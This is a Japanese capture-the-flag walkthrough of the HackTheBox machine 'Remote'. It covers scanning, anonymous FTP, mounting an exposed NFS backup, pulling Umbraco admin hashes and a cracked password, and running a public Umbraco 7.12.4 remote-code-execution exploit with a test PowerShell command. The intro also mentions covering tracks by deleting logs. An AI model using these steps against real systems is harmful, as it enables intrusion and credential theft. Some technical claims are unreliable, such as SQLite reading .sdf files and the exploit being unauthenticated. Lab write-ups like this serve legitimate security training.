【HackTheBox】Remote – Walkthrough -【詳細解説】

セキュリティ

本記事では、Hack The Boxにて提供されている「Remote」に関する攻略方法(Walkthrough)について紹介します。

攻略方法

準備

HTBには設定が必要なため、最初にVPNクライアントをダウンロードして設定します。次に、攻撃を行うためのマシンをセットアップします。Kali Linuxは、これらのタイプの課題に一般的に使用されるオペレーティングシステムです。

探索(Reconnaissance)

これはハッキングの初期段階で、対象システムの詳細を収集するためのプロセスです。ツールの例としてはNmap、Netcat、Wiresharkなどがあります。対象のIPアドレス、開いているポート、実行中のサービス、バージョン情報などを見つけ出します。

脆弱性のスキャン(Vulnerability Scanning)

次に、潜在的な脆弱性を特定するためにシステムをスキャンします。これはNessus、Nikto、OpenVASなどのツールを使って行うことができます。

利用(Exploitation)

脆弱性を利用してシステムに侵入します。これには、Metasploit、SQLmap、Burp Suiteなどのツールが使用されることがあります。

特権昇格(Privilege Escalation)

システム内での権限を増やすための工程です。一般的なユーザーアカウントから管理者またはrootアカウントに移動することで、システム全体を制御することができます。

後片付け(Covering Tracks)

侵入を隠すためのステップです。ログの削除や痕跡の消去などを行います。

探索(Reconnaissance)

nmapの結果

┌──(x42s㉿kali)-[~]
└─$ sudo nmap nmap -Pn -T4 -A -v 10.10.10.180
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-08 12:26 JST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:26
Completed NSE at 12:26, 0.00s elapsed
Initiating NSE at 12:26
Completed NSE at 12:26, 0.00s elapsed
Initiating NSE at 12:26
Completed NSE at 12:26, 0.00s elapsed
Failed to resolve "nmap".
Initiating Parallel DNS resolution of 1 host. at 12:26
Completed Parallel DNS resolution of 1 host. at 12:26, 0.00s elapsed
Initiating SYN Stealth Scan at 12:26
Scanning 10.10.10.180 [1000 ports]
Discovered open port 21/tcp on 10.10.10.180
Discovered open port 80/tcp on 10.10.10.180
Discovered open port 111/tcp on 10.10.10.180
Discovered open port 445/tcp on 10.10.10.180
Discovered open port 135/tcp on 10.10.10.180
Discovered open port 139/tcp on 10.10.10.180
Discovered open port 2049/tcp on 10.10.10.180
Increasing send delay for 10.10.10.180 from 0 to 5 due to 410 out of 1024 dropped probes since last increase.
Increasing send delay for 10.10.10.180 from 5 to 10 due to 11 out of 13 dropped probes since last increase.
Completed SYN Stealth Scan at 12:26, 20.96s elapsed (1000 total ports)
Initiating Service scan at 12:26
Scanning 7 services on 10.10.10.180
Completed Service scan at 12:27, 76.18s elapsed (7 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.180
Retrying OS detection (try #2) against 10.10.10.180
Retrying OS detection (try #3) against 10.10.10.180
Retrying OS detection (try #4) against 10.10.10.180
Retrying OS detection (try #5) against 10.10.10.180
Initiating Traceroute at 12:28
Completed Traceroute at 12:28, 1.02s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 12:28
Completed Parallel DNS resolution of 2 hosts. at 12:28, 0.07s elapsed
NSE: Script scanning 10.10.10.180.
Initiating NSE at 12:28
NSE: [ftp-bounce] PORT response: 501 Server cannot accept argument.
Completed NSE at 12:28, 11.83s elapsed
Initiating NSE at 12:28
Completed NSE at 12:28, 17.90s elapsed
Initiating NSE at 12:28
Completed NSE at 12:28, 0.00s elapsed
Nmap scan report for 10.10.10.180
Host is up (0.26s latency).
Not shown: 993 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
2049/tcp open  nlockmgr      1-4 (RPC #100021)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=7/8%OT=21%CT=1%CU=40579%PV=Y%DS=2%DC=T%G=Y%TM=64A8D7E9
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%TS=U
OS:)OPS(O1=M53CNW8NNS%O2=M53CNW8NNS%O3=M53CNW8%O4=M53CNW8NNS%O5=M53CNW8NNS%
OS:O6=M53CNNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%D
OS:F=Y%T=80%W=FFFF%O=M53CNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0
OS:%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=
OS:Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y
OS:%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R
OS:%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=
OS:80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z
OS:)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-07-08T03:28:15
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: -1s

TRACEROUTE (using port 587/tcp)
HOP RTT     ADDRESS
1   3.94 ms 10.10.14.1
2   3.81 ms 10.10.10.180

NSE: Script Post-scanning.
Initiating NSE at 12:28
Completed NSE at 12:28, 0.00s elapsed
Initiating NSE at 12:28
Completed NSE at 12:28, 0.00s elapsed
Initiating NSE at 12:28
Completed NSE at 12:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 148.66 seconds
           Raw packets sent: 1556 (72.354KB) | Rcvd: 1153 (49.550KB)

ポートとサービスの一覧

  1. 21/tcp - FTP
    このポートは、FTP(ファイル転送プロトコル)用です。このインスタンスはMicrosoft ftpdを使用しており、アノニマスFTPログインが許可されています。

  2. 80/tcp - HTTP
    HTTP (Hypertext Transfer Protocol) 用のポートです。使用されているのはMicrosoft HTTPAPI httpd 2.0で、SSDP/UPnPがサポートされています。サポートされているHTTPメソッドには、GET、HEAD、POST、OPTIONSがあります。

  3. 111/tcp - RPCBind
    このポートは、RPC (Remote Procedure Call) サービスの一部で、RPCBindを使用しています。RPCBindは、クライアントがどのサーバが特定のRPCサービスを提供しているかを判断するのに役立つものです。

  4. 135/tcp - MSRPC
    このポートは、Microsoft WindowsのRPC(Remote Procedure Call)サービスを提供します。

  5. 139/tcp - NetBIOS-SSN
    NetBIOS セッションサービス (SSN) 用のポートで、Windowsのネットワーキングに広く使用されています。

  6. 445/tcp - Microsoft-DS
    Microsoft Directory Services用のポートで、SMBプロトコルによるファイル共有とプリンタ共有を提供します。正確なバージョンは確定していません。

  7. 2049/tcp - NFS
    このポートは、Network File System (NFS) 用で、ここでは特に nlockmgr (Network Lock Manager Protocol) を使用しています。

以上の情報を基に、侵入テストの次のステップを計画できます。ポートとそれぞれのサービスがどのように構成されているかによりますが、特定の脆弱性を持つ可能性があります。例えば、FTPはアノニマスログインが許可されており、これは特定の攻撃に対する脆弱性を示している可能性があります。

侵入テスト結果解説

侵入テストの結果、以下のようにサーバー上で稼働しているサービスが見つかりました。各サービスの詳細とそれぞれの役割について説明します。

FTP (21/tcp)

FTPは「File Transfer Protocol」の略で、その名の通り、ファイルを送受信するためのプロトコルです。ユーザーはFTPサーバーに接続し、ファイルのアップロードやダウンロードを行うことができます。21番のポートを通じて通信が行われます。

今回のテスト結果では、「Microsoft ftpd」と表示されており、MicrosoftのFTPサーバーが稼働していることが分かります。また、「ftp-anon: Anonymous FTP login allowed」という部分から、名前とパスワードを必要とせずにアクセスできる(匿名FTP)設定になっていることが分かります。

HTTP (80/tcp)

HTTPは「Hyper Text Transfer Protocol」の略で、ウェブブラウザとウェブサーバー間でウェブページの情報(HTML、CSS、JavaScript、画像など)を送受信するためのプロトコルです。80番のポートを通じて通信が行われます。

今回のテスト結果では、「Microsoft HTTPAPI httpd 2.0」と表示されており、MicrosoftのHTTPサーバーが稼働していることが分かります。

RPCBIND (111/tcp)

RPCBINDは、RPC (Remote Procedure Call) サービスのためのディレクトリサービスです。クライアントが特定のRPCサービスを見つけることができるようにする役割を持っています。111番のポートを通じて通信が行われます。

今回のテスト結果では、「rpcbind 2-4」と表示されており、RPCBINDのバージョン2から4までがサポートされていることが分かります。

MSRCP (135/tcp)

MSRPCは「Microsoft Remote Procedure Call」の略で、異なるコンピューター間でプログラム機能を共有するためのプロトコルです。135番のポートを通じて通信が行われます。

今回のテスト結果では、「Microsoft Windows RPC」と表示されており、MicrosoftのRPCサーバーが稼働していることが分かります。

NETBIOS-SSN (139/tcp) および MICROSOFT-DS (445/tcp)

これらはWindowsのネットワークファイル共有のためのプロトコルです。それぞれ139番と445番のポートを通じて通信が行われます。

今回のテスト結果では、「Microsoft Windows netbios-ssn」と表示されており、NetBIOSセッションサービスが稼働していることが分かります。また、「microsoft-ds?」と表示されており、おそらくSMB (Server Message Block) サービスが稼働していると推測されます。

NFS (2049/tcp)

NFSは「Network File System」の略で、ネットワークを通じて別のコンピューターのファイルを利用するためのプロトコルです。2049番のポートを通じて通信が行われます。

今回のテスト結果では、「nlockmgr 1-4」と表示されており、NFS Lock Manager (nlockmgr) が稼働していることが分かります。

これらの情報から、当該サーバーはファイル転送、ウェブサービス、リモートプロシージャ呼び出し(RPC)、ネットワークファイル共有などを行うためのサービスが稼働していることが確認できます。

脆弱性のスキャン(Vulnerability Scanning)

スキャン結果に基づいて、次のような可能性のある脆弱性が存在します。

FTPサービス (21/tcp)

FTPサービスは、Microsoft ftpdが稼働しており、匿名FTPログインが許可されています。このため、不適切な権限設定や未更新のソフトウェアにより、攻撃者が内部情報へ不正にアクセスする可能性があります。

21/tcp   open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

以下は、この情報を利用して侵入を試みる基本的なステップです:

FTPサービスに匿名でログイン

まず、匿名でFTPサービスにログインします。


ftp 10.10.10.180

ログインプロンプトが表示されたら、ユーザー名として「anonymous」を入力し、パスワードは空白のままEnterキーを押します。

ディレクトリとファイルのリストを取得

ログインに成功したら、lsコマンドを使用してディレクトリとファイルのリストを取得します。これにより、サーバー上の情報を取得することができます。


┌──(x42s㉿kali)-[~]
└─$ ftp 10.10.10.180
Connected to 10.10.10.180.
220 Microsoft FTP Service
Name (10.10.10.180:x42s): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49683|)
150 Opening ASCII mode data connection.
226 Transfer complete.
ftp> cd /
250 CWD command successful.
ftp> pwd
Remote directory: /
ftp> 

HTTPサービス (80/tcp)

HTTPサービスは、Microsoft HTTPAPI httpd 2.0が稼働しています。古いバージョンのWebサーバーである可能性がありますので、未更新のソフトウェアに起因する脆弱性が存在するかもしれません。また、Webサービスの設定やコンテンツに不適切な部分がある場合、それが攻撃者の手がかりとなる可能性があります。

80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

RPCサービス (111/tcp)

RPCサービスが稼働しており、多くのRPCサービスが公開されています。これらのサービスの中には、脆弱性を持つものが存在する可能性があります。特にNFSサービスは、適切な権限設定がなされていない場合、攻撃者によってファイルシステムへの不正アクセスが可能となります。

111/tcp  open  rpcbind       2-4 (RPC #100000)

SMBサービス (445/tcp)

SMBサービスが稼働しており、これが攻撃者にとっての手がかりとなる可能性があります。特に、メッセージ署名が有効になっていますが、必須ではありません。これにより、Man-in-the-Middle攻撃が可能となる可能性があります。また、古いバージョンのSMBプロトコルが使用されている場合、その脆弱性を利用した攻撃が可能となります。

445/tcp  open  microsoft-ds?

showmountは、NFS(Network File System)共有の情報を表示するためのツールです。SMB(Server Message Block)とは異なり、NFSはUNIXベースのシステムで広く使用されているファイル共有プロトコルです。

SMB共有をローカルマシンにマウントするためにshowmountを使用することはできません。しかし、もしターゲットがNFS共有を持っている場合、showmountを使用して共有の情報を取得し、その後、それをマウントすることができます。

以下は、showmountを使用してNFS共有を調査し、Linuxマシンにマウントする手順です:

NFS共有の情報の取得

ターゲットマシンのNFS共有の情報を取得するには、以下のコマンドを実行します。


showmount -e [target IP]

┌──(x42s㉿kali)-[~]
└─$ showmount -e 10.10.10.180  
Export list for 10.10.10.180:
/site_backups (everyone)

これにより、ターゲットマシン上で公開されているNFS共有のリストが表示されます。

NFS共有のマウント

  1. マウントポイントを作成します。例として/mnt/nfsshareを使用します。

sudo mkdir /mnt/nfsshare
  1. NFS共有をマウントします。

sudo mount -t nfs [target IP]:/[path to the NFS share] /mnt/nfsshare

┌──(x42s㉿kali)-[~]
└─$ sudo mount -t nfs 10.10.10.180:/site_backups /mnt/nfsshare

┌──(x42s㉿kali)-[~]
└─$ ls /mnt/nfsshare

App_Browsers  App_Data  App_Plugins  Config  Global.asax  Media  Umbraco  Umbraco_Client  Views  Web.config  aspnet_client  bin  css  default.aspx  scripts

このコマンドの[path to the NFS share]は、showmountの出力から得られるNFS共有のパスです。

これで、NFS共有がローカルマシンにマウントされ、通常のディレクトリとしてアクセスすることができます。

ただし、この手順はNFS共有の場合のみ適用されます。SMB共有には適用されません。

NFS共有フォルダについて

表示されているフォルダとファイルの構造から、これはUmbraco CMS (Content Management System)のインスタンスのルートディレクトリであることがわかります。Umbracoは、.NETベースのオープンソースのCMSであり、ウェブサイトの構築と管理に使用されます。

各ディレクトリとファイルの概要は以下の通りです:

  • App_Browsers : ブラウザ定義ファイルが格納されているディレクトリ。
  • App_Data : Umbracoの設定、ログ、キャッシュなど、さまざまなデータファイルが格納されているディレクトリ。
  • App_Plugins : カスタムまたはサードパーティのUmbracoプラグインが格納されているディレクトリ。
  • Config : Umbracoの設定ファイルが格納されているディレクトリ。
  • Global.asax : ASP.NETアプリケーションのグローバルなイベントをハンドリングするためのファイル。
  • Media : ウェブサイトで使用されるメディアファイル(画像、動画など)が格納されているディレクトリ。
  • Umbraco : UmbracoバックエンドのUI関連のファイルが格納されているディレクトリ。
  • Umbraco_Client : Umbracoのクライアントサイドのスクリプトやスタイルシートが格納されているディレクトリ。
  • Views : MVCアーキテクチャの「ビュー」層のファイルが格納されているディレクトリ。
  • Web.config : ASP.NETアプリケーションの主要な設定ファイル。
  • aspnet_client : ASP.NETのクライアントサイドのスクリプトやユーティリティが格納されているディレクトリ。
  • bin : コンパイルされたDLLファイルや他の実行可能ファイルが格納されているディレクトリ。
  • css : ウェブサイトのスタイルシートが格納されているディレクトリ。
  • default.aspx : ASP.NETのデフォルトのウェブページ。
  • scripts : ウェブサイトのJavaScriptファイルが格納されているディレクトリ。

このフォルダとファイルの構造から、Umbraco CMSのインスタンスがこのサーバー上で動作していることが確認できます。

ここから侵入ための優先順位順に解説します

  1. Web.config : このファイルはASP.NETアプリケーションの主要な設定ファイルであり、データベース接続文字列やその他の重要な設定情報が含まれている場合があります。
  2. App_Data : Umbracoの設定、ログ、キャッシュなどのデータファイルが格納されています。中でもログファイルにはエラーメッセージやデバッグ情報が含まれている場合があり、これを元にシステムの脆弱性を特定することができます。
  3. Config : Umbracoの設定ファイルが格納されているディレクトリ。これらの設定ファイルにはシステムの動作に関する情報や、場合によっては資格情報が含まれていることがあります。
  4. App_Plugins : カスタムまたはサードパーティのUmbracoプラグインが格納されています。これらのプラグインには脆弱性が含まれている場合があります。
  5. bin : コンパイルされたDLLファイルや他の実行可能ファイルが格納されています。これらのファイルを分析することで、アプリケーションのロジックや潜在的な脆弱性を特定することができます。
  6. Views : MVCの「ビュー」層のファイル。これらのファイルを調査することで、アプリケーションのロジックや入力の取り扱いに関する情報を得ることができます。
  7. scripts & css : ウェブサイトのJavaScriptやスタイルシートは、フロントエンドの動作に関する情報を提供します。特にJavaScriptは、クライアントサイドの脆弱性を特定する際に役立つ可能性があります。

Web.configの解析

Web.config ファイルの初めの部分を確認したところ、いくつかの設定セクションとUmbracoの設定情報が見受けられます。これはUmbraco CMSの設定ファイルの典型的な内容です。

最も重要な情報は、データベース接続の情報、APIキー、その他のセンシティブな設定が含まれる可能性があります。これらの情報を特定して抽出しましょう。

次に、データベース接続の文字列やその他の潜在的に重要な情報を探します。

以下の情報をWeb.config ファイルから抽出しました

データベース接続文字列

  • Data Source=|DataDirectory|\\Umbraco.sdf;Flush Interval=1;

この接続文字列は、Umbracoのローカルデータベースへのパスを示しています。これはSQL Server Compact Editionを使用した場合の標準的な接続文字列の形式です。

アプリケーション設定

いくつかのキーと値のペアが存在しますが、特にセンシティブな情報やAPIキーのようなものは見当たりません。しかし、以下の設定は注意が必要です:

  • umbracoConfigurationStatus: Umbracoのバージョン(7.12.4)が示されています。これは、特定のバージョンに存在する脆弱性を探るための情報として利用できます。
  • log4net.Config: ロギングの設定ファイルのパス。ログファイルにはエラーメッセージやデバッグ情報が含まれている場合があります。

この情報を基に、次のステップはUmbraco 7.12.4の既知の脆弱性を調査することや、ログファイルを確認してさらなる情報を収集することです。

App_Dataの解析

ディレクトリとファイルの構造から、これはUmbraco CMSのApp_Dataディレクトリの内容です。App_Dataディレクトリは、Umbracoの設定、ログ、キャッシュなどのデータファイルが格納されている場所です。

各ディレクトリとファイルの概要

  • Logs : Umbracoのログファイルが格納されているディレクトリ。エラーメッセージやデバッグ情報が含まれている場合があります。
  • Models : Umbraco Models Builderによって生成された、コンテンツモデルのC#クラスが格納されているディレクトリ。
  • TEMP : 一時的なファイルが格納されているディレクトリ。キャッシュや一時的なアップロードファイルなどが含まれている可能性があります。
  • Umbraco.sdf : SQL Server Compact Editionデータベースファイル。Umbracoのデータベース内容が格納されています。
  • cache : Umbracoのキャッシュデータが格納されているディレクトリ。
  • packages : Umbracoパッケージのデータが格納されているディレクトリ。
  • umbraco.config : UmbracoのXMLキャッシュファイル。公開されているすべてのコンテンツ情報がこのファイルにキャッシュされています。

侵入の足がかりとして特に重要そうな場所

  1. Logs : ログファイルはシステムの動作やエラーに関する情報を提供する可能性があります。これらの情報を分析することで、システムの脆弱性や設定の誤りを見つける手助けとなるでしょう。
  2. Umbraco.sdf : このデータベースファイルには、ユーザー情報、コンテンツ、その他の重要なデータが格納されています。ファイルをダウンロードして分析することで、資格情報やシステムの構成情報を取得することができる可能性があります。
  3. umbraco.config : このXMLキャッシュファイルは公開されているコンテンツ情報を含んでいます。この情報を分析することで、システムの構造や使用されているテクノロジーに関する情報を得ることができます。
  4. TEMP : このディレクトリには一時的なファイルが格納されており、時折センシティブな情報が含まれている場合があります。
  5. Models : このディレクトリにはコンテンツモデルのC#クラスが含まれています。これらのクラスを分析することで、アプリケーションのロジックや構造に関する情報を得ることができます。

これらのディレクトリやファイルを優先的に調査することで、Umbraco CMSに関する貴重な情報や潜在的な脆弱性を発見することができるでしょう。

App_DataのLogs解析

UmbracoTraceLog.intranet.txt ファイル

UmbracoTraceLog.intranet.txt ファイルの冒頭部分には、Umbracoのスケジュールタスクやバックグラウンドタスクの終了に関する情報が含まれているようです。これはUmbracoが定期的に実行するタスクやバックエンドの処理に関するログ情報です。

ただ、この部分だけでは侵入に直接関連する情報は見当たりません。全体的な内容を概観して、エラーメッセージやセンシティブな情報を特定します。

まず、エラーメッセージや特定のキーワードを含むログエントリを探します。

以下は、UmbracoTraceLog.intranet.txt ファイルから抽出した疑わしいログエントリの一部です:

  1. Server Registration Error : Failed to update server record in database - これはデータベースへの書き込みエラーを示しており、システムの設定やデータベースの状態に関する情報を提供する可能性があります。
  2. Access Attempt : 1 tried to access 'developer' - これはユーザーがデベロッパーセクションにアクセスしようとした際のログです。これは不正なアクセスの試みである可能性があります。
  3. Unhandled Exception : An unhandled exception occurred - これはシステムで処理されていないエラーを示しています。この情報を元にシステムの脆弱性を特定することができるかもしれません。
  4. Password Change Attempt : Could not change user password Passwords must be at least 10 characters. - パスワード変更の試みに関するログです。これはブルートフォース攻撃の試みである可能性があります。
  5. 404 Errors : 複数の404エラーが報告されています。これは存在しないページへのアクセス試みを示しています。

上記のエントリを基に、次のステップは、エラーの詳細や特定のアクセス試みの背後にある原因を調査することです。また、他の2つのログファイルにも同様の情報が含まれている可能性があります。

UmbracoTraceLog.intranet.txt.2020-02-19 ファイル

次に、UmbracoTraceLog.intranet.txt.2020-02-19 ファイルの内容を確認します。

UmbracoTraceLog.intranet.txt.2020-02-19 ファイルから抽出した疑わしいログエントリの一部は以下の通りです:

  1. Failed to load XML : Failed to load Xml, file does not exist - これはUmbracoが必要なXMLファイルを読み込もうとしたが、該当ファイルが存在しなかったことを示しています。これは設定ミスや特定のファイルへのアクセス試みを示している可能性があります。
  2. No last synced Id : No last synced Id found, this generally means this is a new server/install - これは新しいサーバーやインストールに関する情報を示しています。この情報は、システムの構成やセットアップに関する情報を提供する可能性があります。
  3. Unhandled Exception : 複数のエントリで「An unhandled exception occurred」というメッセージが表示されています。これはシステムで処理されていないエラーを示しています。
  4. 404 Errors : いくつかの404エラーが報告されています。これは存在しないページへのアクセス試みを示しています。

これらのエントリも、システムの脆弱性や設定の誤りを特定するための情報として利用できる可能性があります。

UmbracoTraceLog.remote.txt ファイル

最後に、UmbracoTraceLog.remote.txt ファイルの内容を確認します。

UmbracoTraceLog.remote.txt ファイルから特定のエラーキーワードを持つエントリは見当たりませんでした。これは、このログファイルには重大なエラーまたは警告が記録されていないことを示しています。

ログのまとめ

上記のログファイルの分析を基に、以下の情報が侵入の足がかりとして特に重要であると考えられます:

  1. エラーメッセージ : ログファイルにはいくつかの未処理の例外やエラーメッセージが記録されています。これらのエラーメッセージはシステムの内部動作や構成に関する情報を提供する可能性があり、システムの脆弱性を特定するための手がかりとなることがあります。
  2. アクセス試み : ログファイルには特定のセクションへのアクセス試みやパスワード変更の試みが記録されています。これらの情報は、特定のユーザーや操作に関連するシステムの脆弱性や設定の誤りを特定するための手がかりとなることがあります。
  3. Umbracoのバージョン : 以前の分析で特定されたUmbracoのバージョン(7.12.4)を元に、このバージョンに関連する既知の脆弱性やエクスプロイトを調査することができます。
  4. データベース接続 : Umbraco.sdf というデータベースファイルが存在することが確認されました。このファイルをダウンロードして分析することで、システムの設定情報やユーザー情報を取得することができる可能性があります。

ただし、これらの情報だけでは直接的な侵入は難しいかもしれません。しかし、これらの情報を元に追加の調査を行い、システムの脆弱性や設定の誤りを特定するための手がかりとして利用することができます。

App_DataのUmbraco.sdf解析

Kali Linuxでは、sqlcmd ユーティリティを使用して SQL Server Compact Edition (*.sdf) ファイルを読み取ることは直接的には難しいです。しかし、代わりに sqlite3 ツールを使用して試みることができます。SQL Server Compact EditionとSQLiteは似たデータベースエンジンであり、両方とも同じファイル拡張子(.sdf)を使用することがあるためです。

以下の手順でUmbraco.sdfファイルの内容を試みて読み取ることができます:

  1. SQLite3のインストール :
    Kali LinuxにSQLite3がインストールされていない場合、以下のコマンドでインストールできます。

sudo apt update
sudo apt install sqlite3
  1. SQLite3を使用してデータベースを開く :

sqlite3 /path/to/Umbraco.sdf
  1. テーブルの一覧表示 :
    SQLiteプロンプトで以下のコマンドを実行します。

.tables

┌──(x42s㉿kali)-[/mnt/nfsshare/App_Data]
└─$ sqlite3 Umbraco.sdf
SQLite version 3.42.0 2023-05-16 12:36:15
Enter ".help" for usage hints.
sqlite> .tables
Error: file is not a database
sqlite> ^Z
zsh: suspended  sqlite3 Umbraco.sdf

"Error: file is not a database"のエラーは、指定されたファイルがSQLiteのデータベースフォーマットではないことを示しています。このエラーは、ファイルがSQL Server Compact Editionのフォーマットであることを確認するものです。

App_DataのUmbraco.txt解析

Umbraco.txt ファイルからの抜粋を見ると、以下の情報が含まれているようです:

  • ユーザー名(例:Administrator, admin, smith
  • 電子メールアドレス(例:admin@htb.local, smith@htb.local
  • ハッシュ化されたパスワード(例:b8be16afba8c314ad33d812f22a04991b90e2aaa
  • 使用されているハッシュアルゴリズム(例:SHA1, HMACSHA256

この情報を利用して、以下の攻撃ステップを試みることができます:

  1. パスワードクラック :
    • 抽出したハッシュを使用して、John the RipperやHashcatなどのツールを使用してパスワードをクラックします。
    • クラックしたパスワードとユーザー名を使用して、Umbraco管理インターフェースにログインを試みます。
  2. ユーザー情報の利用 :
    • 抽出したユーザー名や電子メールアドレスを使用して、Phishing攻撃や他の攻撃ベクトルを試みることができます。
  3. Umbracoのバージョン調査 :
    • 以前に特定されたUmbracoのバージョンを使用して、公開されている脆弱性やエクスプロイトを調査します。

パスワードとハッシュアルゴリズムの抽出

最初のステップとして、ハッシュ化されたパスワードと使用されているハッシュアルゴリズムを抽出し、これを使用してパスワードクラックを試みます。ハッシュ化されたパスワードとハッシュアルゴリズムのリストを抽出してみましょう。

Umbraco.txt ファイルから抽出した情報に基づき、以下の情報が見つかりました:

  • ユーザー名や電子メールアドレス
  • ハッシュ化されたパスワード
  • ハッシュアルゴリズム

以下のユーザー名、電子メールアドレス、ハッシュ、およびハッシュアルゴリズムの組み合わせが抽出されました:

  1. ユーザー名: Administrator
    ハッシュ: b8be16afba8c314ad33d812f22a04991b90e2aaa
    ハッシュアルゴリズム: SHA1
  2. ユーザー名: admin
    電子メールアドレス: admin@htb.local
    ハッシュ: b8be16afba8c314ad33d812f22a04991b90e2aaa
    ハッシュアルゴリズム: SHA1
  3. その他のユーザー情報とハッシュ

パスワードクラック

次のステップは、これらのハッシュを使用してパスワードクラックを試みることです。SHA1は比較的弱いハッシュアルゴリズムであるため、John the RipperやHashcatなどのツールを使用して比較的迅速にクラックすることができます。

Index of /

パスワードは「baconandcheese」

Umbraco CMS 7.12.4の脆弱性

Umbraco CMS 7.12.4は脆弱性を持つことで知られています。特に、Umbraco CMSのバージョン7.12.4には、認証なしのリモートコード実行(RCE)脆弱性が存在します。この脆弱性は、攻撃者がUmbracoサーバーに任意の.NETコードを実行する能力を提供します。

Umbraco-RCEツールのクローン


git clone https://github.com/noraj/Umbraco-RCE

このコマンドは、GitHub上のUmbraco-RCEというリポジトリをローカルマシンにクローンします。このリポジトリには、Umbraco CMS 7.12.4のRCE脆弱性を利用するためのスクリプトやツールが含まれています。

ディレクトリの変更


cd Umbraco-RCE

このコマンドで、先ほどクローンしたUmbraco-RCEディレクトリに移動します。

必要なPythonライブラリのインストール


pip3 install -r requirements.txt

Umbraco-RCEツールはPythonで書かれており、特定のPythonライブラリに依存しています。このコマンドで、requirements.txtにリストされている依存ライブラリをインストールします。

脆弱性の利用


python3 exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c powershell.exe -a 'hostname; pwd; whoami'

このコマンドは、exploit.pyというPythonスクリプトを使用して、Umbraco CMSのRCE脆弱性を利用します。コマンドの各オプションの説明は以下の通りです:

  • -u admin@htb.local: Umbracoのユーザー名。
  • -p baconandcheese: ユーザーのパスワード。
  • -i 'http://10.10.10.180': ターゲットのUmbracoサーバーのURL。
  • -c powershell.exe: 実行するコマンド(ここではPowerShell)。
  • -a 'hostname; pwd; whoami': PowerShellに渡す引数。この例では、ホスト名、現在のディレクトリ、現在のユーザー名を表示します。

このコマンドの実行により、攻撃者はターゲットマシン上で任意のコマンドを実行できるようになります。この例では、ターゲットマシンのホスト名、現在のディレクトリ、現在のユーザー名が表示されています。

コマンドまとめ

(htb_remote) ┌──(x42s㉿kali)-[~/Documents]
└─$ git clone https://github.com/noraj/Umbraco-RCE
Cloning into 'Umbraco-RCE'...
remote: Enumerating objects: 41, done.
remote: Counting objects: 100% (41/41), done.
remote: Compressing objects: 100% (40/40), done.
remote: Total 41 (delta 15), reused 1 (delta 0), pack-reused 0
Receiving objects: 100% (41/41), 11.70 KiB | 749.00 KiB/s, done.
Resolving deltas: 100% (15/15), done.

(htb_remote) ┌──(x42s㉿kali)-[~/Documents]
└─$ cd Umbraco-RCE

(htb_remote) ┌──(x42s㉿kali)-[~/Documents/Umbraco-RCE]
└─$ pip3 install -r requirements.txt
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: beautifulsoup4 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (4.12.2)
